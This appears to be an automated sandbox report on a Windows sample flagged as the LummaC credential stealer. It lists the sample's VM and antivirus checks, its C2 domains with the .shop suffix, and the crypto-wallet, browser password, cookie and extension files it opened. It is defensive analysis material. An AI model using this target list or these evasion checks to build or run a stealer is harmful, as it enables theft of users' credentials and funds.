Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe TID: 5352	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe TID: 4464	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: qrLdMv1QXG.exe, 00000000.00000003.2055718709.000000000420B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf
Source: qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D3C000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: qrLdMv1QXG.exe, 00000000.00000003.2055718709.000000000420B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: qrLdMv1QXG.exe, 00000000.00000003.2055841352.00000000042C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Code function: 0_2_00435C40 LdrInitializeThunk,

0_2_00435C40

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_01CDEFD3 push dword ptr fs:[00000030h]	0_2_01CDEFD3
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0366092B mov eax, dword ptr fs:[00000030h]	0_2_0366092B
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03660D90 mov eax, dword ptr fs:[00000030h]	0_2_03660D90

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: qrLdMv1QXG.exe	String found in binary or memory: demonstationfukewko.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: incredibleextedwj.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: shortsvelventysjo.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: shatterbreathepsw.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: productivelookewr.shop
Source: qrLdMv1QXG.exe	String found in binary or memory: strollheavengwu.shop

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: qrLdMv1QXG.exe, 00000000.00000003.2089677274.0000000004295000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: qrLdMv1QXG.exe PID: 2504, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
